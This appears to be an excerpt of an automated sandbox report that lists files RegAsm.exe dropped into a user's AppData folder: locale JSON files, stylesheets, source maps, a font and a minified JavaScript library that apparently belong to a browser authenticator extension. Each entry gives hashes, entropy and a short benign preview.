File Type:	JSON data
Category:	dropped
Size (bytes):	21001
Entropy (8bit):	5.053881393906831
Encrypted:	false
SSDEEP:	384:yZ+0RkG5kmwgCt+e0YAFOFiE1de7uBZd+I+GoOgkFMDL/WQTcE:yZ+0OG5ytglsEEnku8uKyQAE
MD5:	3AA7078881FF165531BD7935F0F2F8C1
SHA1:	1702064E920083F918F5F514B522F215185DCECD
SHA-256:	A424BB65A794EC3EBDD4339C2C2968D30FF826462C8C692477673EE88E4942B3
SHA-512:	B23322EE9B6B906247E4CD42AE5CE546460B1F07F4AF82F78B73502807D446F844F5D6FC223A1CC161CE98E5FE646724C3DE62AF72F3769968142EEC9B5D1168
Malicious:	false
Preview:	{.. "about": {.. "description": "About.",.. "message": "... .......".. },.. "account": {.. "description": "Account.",.. "message": "......... .....".. },.. "accountName": {.. "description": "Account Name.",.. "message": "..'. ...........".. },.. "add_code": {.. "description": "Add account.",.. "message": "...... ......... .....".. },.. "add_qr": {.. "description": "Scan QR Code.",.. "message": "......... QR-...".. },.. "add_secret": {.. "description": "Manual Entry.",.. "message": "..... ........".. },.. "added": {.. "description": "Added Account.",.. "message": " ... ........".. },.. "advanced": {.. "message": ".........".. },.. "advisor": {.. "message": "........".. },.. "advisor_insight_auto_fill_not_enabled": {.. "message": "......... .....

C:\Users\user\AppData\Local\snofla\blg\02a10a9fb79f454eb9b579eb295605f6\_locales\vi\messages.json

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	17413
Entropy (8bit):	4.9521857956655815
Encrypted:	false
SSDEEP:	192:H72z+XPYkLuLWhIgbhkg1CcpfQHMXcRS8Sr2KN6ctZ:H6z+XPYQuLW/bhmK4sfSi6ctZ
MD5:	C760A2D5BA6DC5BBBD7001295DE673FC
SHA1:	BF7E878CE8E8F822D67DB0FAC433F27C25AC8300
SHA-256:	6C8281A2B470D0639D00B821A1F3BC2F41C12DC9E913DC68C6E164768D8C1481
SHA-512:	EBBB41476E9E044A91A373150A9DAFF2ECF79B97070350AC8A499C758F373E7D51BC823ADA70C46DBA6D3F9E62749AF934BA6A0791DEEB790B02D80F67A62665
Malicious:	false
Preview:	{.. "about": {.. "description": "About.",.. "message": "V. ch.ng t.i".. },.. "account": {.. "description": "Account.",.. "message": "T.i kho.n".. },.. "accountName": {.. "description": "Account Name.",.. "message": "T.n ..ng nh.p".. },.. "add_code": {.. "description": "Add account.",.. "message": "Bohiendq".. },.. "add_qr": {.. "description": "Scan QR Code.",.. "message": "Qu.t m. QR".. },.. "add_secret": {.. "description": "Manual Entry.",.. "message": "Nh.p th. c.ng".. },.. "added": {.. "description": "Added Account.",.. "message": " .. ...c th.m.".. },.. "advanced": {.. "message": "N.ng cao".. },.. "advisor": {.. "message": "C. v.n".. },.. "advisor_insight_auto_fill_not_enabled": {.. "message": "Autofill c. th. ...c cho ph.p .. t. ..ng .i.n d. li.u v.o c.c website.".. },.. "advisor_insight_auto_lock_not

C:\Users\user\AppData\Local\snofla\blg\02a10a9fb79f454eb9b579eb295605f6\_locales\zh_CN\messages.json

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	15601
Entropy (8bit):	5.420774546306252
Encrypted:	false
SSDEEP:	192:xW1VfbZz2XXdZk5BE2BxdvBu80DREzomam97:M1VfVzj5Bhj5u8dsmam97
MD5:	94413C0EF250365727FF521A53C40061
SHA1:	9A521666B35A0AF7464F5E6521584FF0A8FD08C6
SHA-256:	2107F1DF343B151EBB2526D1F660D1F92B68E314D16F18DCA45EA080E9598013
SHA-512:	86F555819CE8D383EA088FE6D8D5652AE9452998F0680F8ABDDD5E84B97B20A81068BEC05518BDA36D8C3CB22F76B587896CD18A6079BCB86923C791D2B4F727
Malicious:	false
Preview:	{.. "about": {.. "description": "About.",.. "message": "..".. },.. "account": {.. "description": "Account.",.. "message": "..".. },.. "accountName": {.. "description": "Account Name.",.. "message": "...".. },.. "add_code": {.. "description": "Add account.",.. "message": "....".. },.. "add_qr": {.. "description": "Scan QR Code.",.. "message": "..QR.".. },.. "add_secret": {.. "description": "Manual Entry.",.. "message": "....".. },.. "added": {.. "description": "Added Account.",.. "message": "....".. },.. "advanced": {.. "message": "....".. },.. "advisor": {.. "message": "..".. },.. "advisor_insight_auto_fill_not_enabled": {.. "message": "...................".. },.. "advisor_insight_auto_lock_not_set": {.. "message": ".............."..

C:\Users\user\AppData\Local\snofla\blg\02a10a9fb79f454eb9b579eb295605f6\_locales\zh_TW\messages.json

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	15591
Entropy (8bit):	5.265624540264835
Encrypted:	false
SSDEEP:	192:YjLVR+rpPFShpRt8l17+Ot/ol2cRSOpAQvYNUy:gLirpPI+bt/QdAQAey
MD5:	F6FD13F777D90047BC1712F917BC0C00
SHA1:	D1F3E21191ECF1F702993323C94FC24B21186DFA
SHA-256:	9259C48E14A20AA8448B117F97692E68780848E9725C25777324177F7845FCC2
SHA-512:	D8AB7E63B476F1F528A4BD8CA24C71B328CD0AD9AC02BA8C9E37FCA2FCC42BDA2E114340814817714C71D8BA7FE859054F2DE651BF81D18EFC28B7AE1C8554AF
Malicious:	false
Preview:	{.. "about": {.. "description": "About.",.. "message": "..".. },.. "account": {.. "description": "Account.",.. "message": "..".. },.. "accountName": {.. "description": "Account Name.",.. "message": "...".. },.. "add_code": {.. "description": "Add account.",.. "message": "....".. },.. "add_qr": {.. "description": "Scan QR Code.",.. "message": "..QR.".. },.. "add_secret": {.. "description": "Manual Entry.",.. "message": "....".. },.. "added": {.. "description": "Added Account.",.. "message": "....".. },.. "advanced": {.. "message": "....".. },.. "advisor": {.. "message": "..".. },.. "advisor_insight_auto_fill_not_enabled": {.. "message": "Autofill can be enabled to automatically fill codes into websites.".. },.. "advisor_insight_auto_lock_not_set": {.. "message": "Enable auto-lock to protect your data."

C:\Users\user\AppData\Local\snofla\blg\02a10a9fb79f454eb9b579eb295605f6\css\DroidSansMono.woff2

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 7568, version 1.0
Category:	dropped
Size (bytes):	7568
Entropy (8bit):	7.968664901632901
Encrypted:	false
SSDEEP:	192:S87fcZG78NsLGx8tVHZ1rvBYGimidi9jXvU43w:S87fsNNNsLVvBCRdqcn
MD5:	6CB019C7369E46955B3977B7AD272B69
SHA1:	788CEE6C66641A98728A419A985D64743FBDB153
SHA-256:	4FBB0D67DE39768AD27B9ACE08BC2BA0EFF7CFBB2C5BBB4C72F4209FB5D4D4CB
SHA-512:	F48B7CF5E065964092538E3F387558C2C14ABF9A435621AD1B14B6E4B95E9DB505FFC96454FBECA935A82CF5BD974E2054196FC2597CA4D231D8D871D3F12D9A
Malicious:	false
Preview:	wOF2..............: ...>.........................`..$....0...6.$..0..0.. ..T..t..+..~.Z(QTL._.h..\|.j.#<..@...z.._.cN..D.g4.t..i..(..J.......Z.....k.......Baf .=.HDtV.3zQ.....S.t.3+.aF....M.:]._.%..~..pw...P.&]Z..dx......;..........$.@#.8....@?....=$y.....=.....t .4`..u..../.^;..UI.:r..V.5-.>..l....v....$...u...n~.L...,.Q!3..lh.>O>f.)..b>P..7[ E T..n..........'......;c.'.Dj...,r:.7.....( H..q...fe.E.'.B.\|..V....b..!,..D...z.......y{6.Z..s..>.=..D."...xN$..........e......m.f..........e.rx=...-.k.I...t...?.K.9..1?......?..1h@.j.T..p].["...-)...E_D..#...v..m...o..J......N.".4D.......7L.RaG.q...%K.....g."t...%q.Zq.<.A...h..w..B....,8.DI...:.....C.97S....@.a7e.:...+"..w.o....*.N.SlT.a..@.....I.TX.'..l@...\.W0..N...T....I.c..4..a..m.;@...qx?P.H..n.vY......l.]..^T.....'..".j3.Z9L.K......>7U.....+.S@...a2..AS.C....0.$.,^M.b.'-..6q...UuM....6.E....#...v.L.$%..k..c.{d..q7<d...R.tn1q1#.<......E^...~.zIgf..Yj.dw"...Q....wKL...4\|....c..t...

C:\Users\user\AppData\Local\snofla\blg\02a10a9fb79f454eb9b579eb295605f6\css\content.css

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	436
Entropy (8bit):	4.997248199163661
Encrypted:	false
SSDEEP:	6:MHysws5veHSH5+sFxHXHD0m9RHBTeXfvjk6H5+++FROwKS6NTZ4qFHNQETez9eV9:MHyhqvwcEsFZFBTGnREHHZRq9NhT5GM
MD5:	308485E43E73AD96D60F8CB7061F6AB3
SHA1:	97C8191669D64D1D877645C24E0855A7CF874623
SHA-256:	15F8B8CAAD456E78CE3D8C739BF008C4BBEB7193A69D1BF8480AEF92ABB1F249
SHA-512:	1D6111FFD6321000954DB690A656549B4AC4AAAFAA6542FF7DE8973A5744DB9468A77D6E9FFB3CF23B6ADD8A898413BB5C065285B45C52E7266179087C6EC1C5
Malicious:	false
Preview:	#__ga_grayLayout__ {. position: fixed;. top: 0;. left: 0;. width: 100%;. height: 100%;. background: rgba(255, 255, 255, 0.6);. z-index: 2147483647;. display: none;. cursor: crosshair;.}..#__ga_grayLayout__ .scan {. width: 100%;. height: 100%;. position: absolute;. top: 0;. opacity: 0.5;.}..#__ga_captureBox__ {. position: absolute;. border: black 1px dashed;. display: none;.}../# sourceMappingURL=content.css.map /.

C:\Users\user\AppData\Local\snofla\blg\02a10a9fb79f454eb9b579eb295605f6\css\content.css.map

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	213
Entropy (8bit):	4.1793222054008465
Encrypted:	false
SSDEEP:	3:YTyLSgfUhh/K1fRALtWgO9AWLELVHukegvg/Phooooootg7hX/Phootg7hX/PhlI:YWLShS1fmRWgO9zLAHreqhXIhXr9nUGO
MD5:	8F7E653EC88B323ABD0F203CA80817C9
SHA1:	7636A819BEADB909FB2A9301326AC204EA9C8FB1
SHA-256:	C9B6C41D29ACEB120B5379DBAFF6C5E5C02E6D8A333A712B1AED0EA7A19E7B14
SHA-512:	96CCB66A482B93DA7B3FC19CB436CC7C13409B5531C9302F43CE36BB396F615DCBD0C0E414C23C8B4FB8FC25300540124C909EBDC50A94C4C381E7AF1C2DD1CD
Malicious:	false
Preview:	{"version":3,"sourceRoot":"","sources":["../sass/content.scss"],"names":[],"mappings":"AAAA;EACE;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;;;AAGF;EACE;EACA;EACA;EACA;EACA;;;AAGF;EACE;EACA;EACA","file":"content.css"}

C:\Users\user\AppData\Local\snofla\blg\02a10a9fb79f454eb9b579eb295605f6\css\import.css

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	Objective-C source, ASCII text
Category:	dropped
Size (bytes):	4345
Entropy (8bit):	4.8478624215424535
Encrypted:	false
SSDEEP:	96:smIFeEUqHRl4gEaU+UcUUGm+FEi8wGzgLg/mUse+/XPZCW6olCfPoG9EN6nL:smkeEFoglJ7lGlGzAMWjY1L
MD5:	ED359F38EB2E3EB1151741E75D90A164
SHA1:	33F4BFAA8BF0E034DAB6051E73A42342DB3A57AB
SHA-256:	B73274523A8146DE85A6905BB2E683445B445785B5AF55EE5784ECBC7FAAC82B
SHA-512:	1FC6EBA546E653F735EA8C18670C04C2EE9CF851D13153815E2E6ED04012F46624F4EC5F5F83D799D6BD2B773CCE60EACB0AC87CE63D35DF847C91CA39DC6089
Malicious:	false
Preview:	.button, .button-small {. margin: 10px;. padding: 20px;. border-radius: 2px;. position: relative;. text-align: center;. font-size: 16px;. width: -moz-available;. width: -webkit-fill-available;. cursor: pointer;.}..theme-normal .button, .theme-normal .button-small {. background: white;. border: #ccc 1px solid;. color: grey;.}..theme-accessibility .button, .theme-accessibility .button-small {. background: black;. border: white 1px solid;. color: white;.}..theme-dark .button, .theme-dark .button-small {. background: #242424;. border: rgba(255, 255, 255, 0.15) 1px solid;. color: grey;.}..theme-simple .button, .theme-simple .button-small {. background: white;. border: #ccc 1px solid;. color: grey;.}..theme-compact .button, .theme-compact .button-small {. background: white;. border: #ccc 1px solid;. color: grey;.}..theme-flat .button, .theme-flat .button-small {. background: white;. border: #ccc 1px solid;. color: grey;.}..theme-normal .button:hover, .theme-normal

C:\Users\user\AppData\Local\snofla\blg\02a10a9fb79f454eb9b579eb295605f6\css\import.css.map

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1141
Entropy (8bit):	3.3081957125433834
Encrypted:	false
SSDEEP:	24:YWLSZhUUCBCBCBCBCBT9siiMiQENNCME1A4:YWLsaUcccccvENNCq4
MD5:	8CC77F942EBAC942419E2E61BED51EAF
SHA1:	199E37443E46FBCA2C81FB20D02670BA820BF8A9
SHA-256:	7F7EBBEC4CEB1F88DAED08715AC2B00DAF8B3A3706B166F1B2AC2854F9A94774
SHA-512:	F35498044CAC44AF3DFDC59EDCD15CF79492A84C18BC77207A62FAE8A83724D8F035AC297A2A47F2EA12DC9C24F186B23AAFBC9A0F53285A65B815235F23269C
Malicious:	false
Preview:	{"version":3,"sourceRoot":"","sources":["../sass/_ui.scss","../sass/import.scss"],"names":[],"mappings":"AAwKA;EACE;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EAMA;;AAxDE;EAoDA;EACA;EACA;;AAtDA;EAoDA;EACA;EACA;;AAtDA;EAoDA;EACA;EACA;;AAtDA;EAoDA;EACA;EACA;;AAtDA;EAoDA;EACA;EACA;;AAtDA;EAoDA;EACA;EACA;;AAtDA;EA4DE;;AA5DF;EA4DE;;AA5DF;EA4DE;;AA5DF;EA4DE;;AA5DF;EA4DE;;AA5DF;EA4DE;;;AAKN;EAEE;EACA;EACA;;;AAGF;EACE;EACA;EACA;EACA;EACA;EAMA;;AAnFE;EA+EA;EACA;EACA;;AAjFA;EA+EA;EACA;EACA;;AAjFA;EA+EA;EACA;EACA;;AAjFA;EA+EA;EACA;EACA;;AAjFA;EA+EA;EACA;EACA;;AAjFA;EA+EA;EACA;EACA;;;AAjFA;EAwFA;;AAxFA;EAwFA;;AAxFA;EAwFA;;AAxFA;EAwFA;;AAxFA;EAwFA;;AAxFA;EAwFA;;;ACpNJ;EACE;;;AAGF;EACE;;;AAGF;EACE;;;AAGF;EACE;EACA;EACA;;;AAGF;EACE;;;AAGF;EACE;EACA;;AAEA;EACE;;AAEA;EACE;;AAIJ;EACE;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;;AAEA;EACE;;;AAKN;AAAA;EAEE;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;;AAEA;AAAA;EACE;;;AAIJ;EACE;;AAEA;EACE;;;AAIJ;EACE;;AAEA;EACE;;;AAIJ;EACE;EACA;EACA;;AAEA;EACE;EAC

C:\Users\user\AppData\Local\snofla\blg\02a10a9fb79f454eb9b579eb295605f6\css\mocha.css

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	5596
Entropy (8bit):	4.936103871792992
Encrypted:	false
SSDEEP:	96:a8JefQy2lSUyQsa949eRgiCV292h0kFKCKIFO4FGFoFNFeZfuLTX0lCykFvfRj6D:RTyZy49elCQ92hrFKPIFO4FGFoFNFeZh
MD5:	AE2D6E4EB5573750AE90EB7CDFA3F986
SHA1:	3BCA1C379E335BF0A46A0289DB2095C2242526FE
SHA-256:	6B88FFF5DD13265D5B6CD175502F33521F299EEAFD44B408CB2686015B63F1F3
SHA-512:	62DB767E844629D2089CF5F0C92DE0C51BDF4EFE27DB08BBB81EE77822C7D4B8C4C53F8F281790BBA2CD541E10A47689AB1EE6D9BB5A801B3892AC580B540D16
Malicious:	false
Preview:	@charset "utf-8";..body {. margin:0;.}..#mocha {. font: 20px/1.5 "Helvetica Neue", Helvetica, Arial, sans-serif;. margin: 60px 50px;.}..#mocha ul,.#mocha li {. margin: 0;. padding: 0;.}..#mocha ul {. list-style: none;.}..#mocha h1,.#mocha h2 {. margin: 0;.}..#mocha h1 {. margin-top: 15px;. font-size: 1em;. font-weight: 200;.}..#mocha h1 a {. text-decoration: none;. color: inherit;.}..#mocha h1 a:hover {. text-decoration: underline;.}..#mocha .suite .suite h1 {. margin-top: 0;. font-size: .8em;.}..#mocha .hidden {. display: none;.}..#mocha h2 {. font-size: 12px;. font-weight: normal;. cursor: pointer;.}..#mocha .suite {. margin-left: 15px;.}..#mocha .test {. margin-left: 15px;. overflow: hidden;.}..#mocha .test.pending:hover h2::after {. content: '(pending)';. font-family: arial, sans-serif;.}..#mocha .test.pass.medium .duration {. background: #c09853;.}..#mocha .test.pass.slow .duration {. background: #b94a48;.}..#mocha .test.pass::before {. content: '.';.

C:\Users\user\AppData\Local\snofla\blg\02a10a9fb79f454eb9b579eb295605f6\css\mocha.css.map

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1397
Entropy (8bit):	2.852432290496476
Encrypted:	false
SSDEEP:	24:YWLSSUI1YixM1i1iMi11iiBDii1iiBMRU7i+iiiuboZi1ib1X3:YWLe+3
MD5:	D92B7B5001B615FF267EA719F0E4B226
SHA1:	1BE9AA517053FDC22276A5DE7A733E9C65F14D9D
SHA-256:	BB29A629A73245871E8E4B4E6D28E20BCFC77F70175E31721F50C6B58D5D2BFE
SHA-512:	EFB54F6697AF106715C3020860E07BA9435F015B620896044D7997D609E9D361D058ED93677F538536DF03E1899D19B88DE1570E848EF21E6949F739C2DC4B2F
Malicious:	false
Preview:	{"version":3,"sourceRoot":"","sources":["../sass/mocha.css"],"names":[],"mappings":";AAEA;EACE;;;AAGF;EACE;EACA;;;AAGF;AAAA;EAEE;EACA;;;AAGF;EACE;;;AAGF;AAAA;EAEE;;;AAGF;EACE;EACA;EACA;;;AAGF;EACE;EACA;;;AAGF;EACE;;;AAGF;EACE;EACA;;;AAGF;EACE;;;AAGF;EACE;EACA;EACA;;;AAGF;EACE;;;AAGF;EACE;EACA;;;AAGF;EACE;EACA;;;AAGF;EACE;;;AAGF;EACE;;;AAGF;EACE;EACA;EACA;EACA;EACA;EACA;;;AAGF;EACE;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;;;AAGF;EACE;;;AAGF;EACE;;;AAGF;EACE;EACA;;;AAGF;EACE;;;AAGF;EACE;;;AAGF;EACE;EACA;EACA;EACA;EACA;EACA;;;AAGF;EACE;EACA;EACA;;;AAGF;EACE;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;;;AAGF;EACE;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;;;AAGF;AAAA;AAAA;AAAA;AAAA;AAKA;EACE;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;;;AAGF;EACE;;;AAGF;EACE;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;;;AAGF;

C:\Users\user\AppData\Local\snofla\blg\02a10a9fb79f454eb9b579eb295605f6\css\permissions.css

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3056
Entropy (8bit):	4.836115094908107
Encrypted:	false
SSDEEP:	48:smI15peEUqHRl4gxqaU+UcUUGm+FEi8wdk5zgLg/YXUsP2Ehf3rolCMCB7q:smIFeEUqHRl4gEaU+UcUUGm+FEi8wGz3
MD5:	CF59D642B1352E9EE17A8888DB2A6579
SHA1:	9A61AB004089BA9013B413CD1FA35F3311ABE9B2
SHA-256:	E03B00A7C77124D4057CDBBABA92057A32A5E2FA3B9E66E733E25EEE46B000C4
SHA-512:	4A979ABB8F6EF10BE28BEA006CDBCFDA01CC02E9DDE705EA784D6CF1A0108F038B6D3722562095BF7A30C6CE7D2E4D4F4F427CD643562A09614441333714A1D2
Malicious:	false
Preview:	.button, .button-small {. margin: 10px;. padding: 20px;. border-radius: 2px;. position: relative;. text-align: center;. font-size: 16px;. width: -moz-available;. width: -webkit-fill-available;. cursor: pointer;.}..theme-normal .button, .theme-normal .button-small {. background: white;. border: #ccc 1px solid;. color: grey;.}..theme-accessibility .button, .theme-accessibility .button-small {. background: black;. border: white 1px solid;. color: white;.}..theme-dark .button, .theme-dark .button-small {. background: #242424;. border: rgba(255, 255, 255, 0.15) 1px solid;. color: grey;.}..theme-simple .button, .theme-simple .button-small {. background: white;. border: #ccc 1px solid;. color: grey;.}..theme-compact .button, .theme-compact .button-small {. background: white;. border: #ccc 1px solid;. color: grey;.}..theme-flat .button, .theme-flat .button-small {. background: white;. border: #ccc 1px solid;. color: grey;.}..theme-normal .button:hover, .theme-normal

C:\Users\user\AppData\Local\snofla\blg\02a10a9fb79f454eb9b579eb295605f6\css\permissions.css.map

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	833
Entropy (8bit):	3.5943292376793803
Encrypted:	false
SSDEEP:	12:YWLSQwKFDUH47kykykykykyCBCBCBCBCBTmcFg6g6g6g6g0siiMi3I:YWLSZUDUUCBCBCBCBCBT9siiMiY
MD5:	4C9DD632F8EBBBAA9AD4709662AEEE8F
SHA1:	BE749EBBED38C54875B81B70A13F41FF71DBFCFB
SHA-256:	3F6AECF6F4D4C5E15A81B1709D5718015F8879360B447346E788D2B53D3F9779
SHA-512:	F3D396EA9D3D9F01B276EEBEB84ACF37C3B430ADA6D8287B31C95EB67421B7A213B36A267B19E64CAD69A9CF429484AE7875C186086EECC7F5996E4B510CD97B
Malicious:	false
Preview:	{"version":3,"sourceRoot":"","sources":["../sass/_ui.scss","../sass/permissions.scss"],"names":[],"mappings":"AAwKA;EACE;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EAMA;;AAxDE;EAoDA;EACA;EACA;;AAtDA;EAoDA;EACA;EACA;;AAtDA;EAoDA;EACA;EACA;;AAtDA;EAoDA;EACA;EACA;;AAtDA;EAoDA;EACA;EACA;;AAtDA;EAoDA;EACA;EACA;;AAtDA;EA4DE;;AA5DF;EA4DE;;AA5DF;EA4DE;;AA5DF;EA4DE;;AA5DF;EA4DE;;AA5DF;EA4DE;;;AAKN;EAEE;EACA;EACA;;;AAGF;EACE;EACA;EACA;EACA;EACA;EAMA;;AAnFE;EA+EA;EACA;EACA;;AAjFA;EA+EA;EACA;EACA;;AAjFA;EA+EA;EACA;EACA;;AAjFA;EA+EA;EACA;EACA;;AAjFA;EA+EA;EACA;EACA;;AAjFA;EA+EA;EACA;EACA;;;AAjFA;EAwFA;;AAxFA;EAwFA;;AAxFA;EAwFA;;AAxFA;EAwFA;;AAxFA;EAwFA;;AAxFA;EAwFA;;;ACpNJ;EACE;;;AAGF;EACE;;;AAGF;EACE;;;AAGF;EACE;EACA;EACA;;;AAGF;EACE;;;AAGF;EACE;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;;AAEA;EACE","file":"permissions.css"}

C:\Users\user\AppData\Local\snofla\blg\02a10a9fb79f454eb9b579eb295605f6\css\popup.css

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with very long lines (311)
Category:	dropped
Size (bytes):	43810
Entropy (8bit):	4.927405146644052
Encrypted:	false
SSDEEP:	768:ezeX4zwCpgbprgq+OPFAFVOW/D3WSKaA/SlwH1:ezeX4bgbprgqnPa3OW/D3WST41
MD5:	D7A6252F505FC409247F5BCEFFC5BAA4
SHA1:	BECF52AE8CC3D607171A6628A8B46E656AA9EF41
SHA-256:	48B9F6FF50B2050C2ECDEB15FEB308D46E0FDFFEB5CA32CD36C3807B7EA050CD
SHA-512:	5BCFC7A37FDDCBA21C6EEE800A53C880AAABFB79A30AE2D5DA031828796DEAE5D7170CA7C24C72BD22EB7F787CEF031BD604B643FC03D66608F0EBC57B52E007
Malicious:	false
Preview:	.button, #add, .button-small, #info #security-remove, #info #security-save {. margin: 10px;. padding: 20px;. border-radius: 2px;. position: relative;. text-align: center;. font-size: 16px;. width: -moz-available;. width: -webkit-fill-available;. cursor: pointer;.}..theme-normal .button, .theme-normal #add, .theme-normal .button-small, .theme-normal #info #security-remove, #info .theme-normal #security-remove, .theme-normal #info #security-save, #info .theme-normal #security-save {. background: white;. border: #ccc 1px solid;. color: grey;.}..theme-accessibility .button, .theme-accessibility #add, .theme-accessibility .button-small, .theme-accessibility #info #security-remove, #info .theme-accessibility #security-remove, .theme-accessibility #info #security-save, #info .theme-accessibility #security-save {. background: black;. border: white 1px solid;. color: white;.}..theme-dark .button, .theme-dark #add, .theme-dark .button-small, .theme-dark #info #security-remove, #in

C:\Users\user\AppData\Local\snofla\blg\02a10a9fb79f454eb9b579eb295605f6\css\popup.css.map

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	10217
Entropy (8bit):	3.7984609744551707
Encrypted:	false
SSDEEP:	192:fRxLEORRRROgggg1SKsqRUqAAAAQu1gBYnNJLNNVVVR7zP3Qdq:fRxLEdgggg1SKtRUqAAAAQu1ACNJLNNp
MD5:	7971DFE574559A23C5AFE2F734368EBD
SHA1:	54576B232E621E7FCBC5BB7975D54A34106FA2BE
SHA-256:	57F2074D1BA5E4628532DFAC9240B820E4FC758F5548165DDDD334FB8EA6F654
SHA-512:	6A11E93AFE01501B90289E23D2FC97CA0AFE4C15C84A7F014A25C9B9AC31339CFCFCE736DE33B952EF768FE9BC97EF10D926F40692C7025C182AAD079C6227A9
Malicious:	false
Preview:	{"version":3,"sourceRoot":"","sources":["../sass/_ui.scss","../sass/popup.scss"],"names":[],"mappings":"AAwKA;EACE;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EAMA;;AAxDE;EAoDA;EACA;EACA;;AAtDA;EAoDA;EACA;EACA;;AAtDA;EAoDA;EACA;EACA;;AAtDA;EAoDA;EACA;EACA;;AAtDA;EAoDA;EACA;EACA;;AAtDA;EAoDA;EACA;EACA;;AAtDA;EA4DE;;AA5DF;EA4DE;;AA5DF;EA4DE;;AA5DF;EA4DE;;AA5DF;EA4DE;;AA5DF;EA4DE;;;AAKN;EAEE;EACA;EACA;;;AAGF;EACE;EACA;EACA;EACA;EACA;EAMA;;AAnFE;EA+EA;EACA;EACA;;AAjFA;EA+EA;EACA;EACA;;AAjFA;EA+EA;EACA;EACA;;AAjFA;EA+EA;EACA;EACA;;AAjFA;EA+EA;EACA;EACA;;AAjFA;EA+EA;EACA;EACA;;;AAjFA;EAwFA;;AAxFA;EAwFA;;AAxFA;EAwFA;;AAxFA;EAwFA;;AAxFA;EAwFA;;AAxFA;EAwFA;;;AClNJ;EACE;EACA;EACA;;;AAGF;EACE;;;AAGF;EACE;EACA;EACA;EACA;EACA;EACA;EACA;EACA;;AAEA;EACE;;;AAIJ;EACE;;;AAGF;EACE;;;AAGF;EAIE;;ADqFE;ECvFA;;ADuFA;ECvFA;;ADuFA;ECvFA;;ADuFA;ECvFA;;ADuFA;ECvFA;;ADuFA;ECvFA;;AAGF;EACE;EACA;;;AAIJ;EACE;EACA;;;AAIF;EACE;EACA;EACA;EACA;EACA;;ADmEE;ECjEA;EACA;EACA;;AD+DA;ECjEA;EACA;EACA;;AD+DA;ECjEA;EACA;EACA;;AD+DA;ECjEA

C:\Users\user\AppData\Local\snofla\blg\02a10a9fb79f454eb9b579eb295605f6\dist\argon.js

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with very long lines (47996)
Category:	dropped
Size (bytes):	48030
Entropy (8bit):	5.372122291026783
Encrypted:	false
SSDEEP:	768:W3ncAXNZraGqkStkn11WlfVMeQOsdM0NrTXxYVnwSQh:W35kPtk18MeQOsG0NnK+
MD5:	99F4BE953FD8368FD2EC3C83374149AF
SHA1:	2EC7595445F1175FAAE82BFF10BCFEEF7D52B7B4
SHA-256:	C4F15A55E8D51EA6B31105F84405510EBEAD434B45BB85CC902906F070DB5797
SHA-512:	EDB23798DDC92BBFF47865ADA99D055AC3CD6DFF5F246B5506AE18E85F4134A4AEBEB20DC027F00F13E8E357384C50382221ADEA44C72F81DCCC07949889896C
Malicious:	false
Preview:	(()=>{var A,I,g={4110:(A,I,g)=>{var B,Q="undefined"!=typeof self&&void 0!==self.Module?self.Module:{},C={};for(B in Q)Q.hasOwnProperty(B)&&(C[B]=Q[B]);var E,i,o,e,n=[];o="object"==typeof window,e="function"==typeof importScripts,E="object"==typeof process&&"object"==typeof process.versions&&"string"==typeof process.versions.node,i=!o&&!E&&!e;var D,t,r,a,s,c="";E?(c=e?g(1156).dirname(c)+"/":"//",D=function(A,I){return a\|\|(a=g(8866)),s\|\|(s=g(1156)),A=s.normalize(A),a.readFileSync(A,I?null:"utf8")},r=function(A){var I=D(A,!0);return I.buffer\|\|(I=new Uint8Array(I)),G(I.buffer),I},process.argv.length>1&&process.argv[1].replace(/\\/g,"/"),n=process.argv.slice(2),A.exports=Q,process.on("uncaughtException",(function(A){if(!(A instanceof T))throw 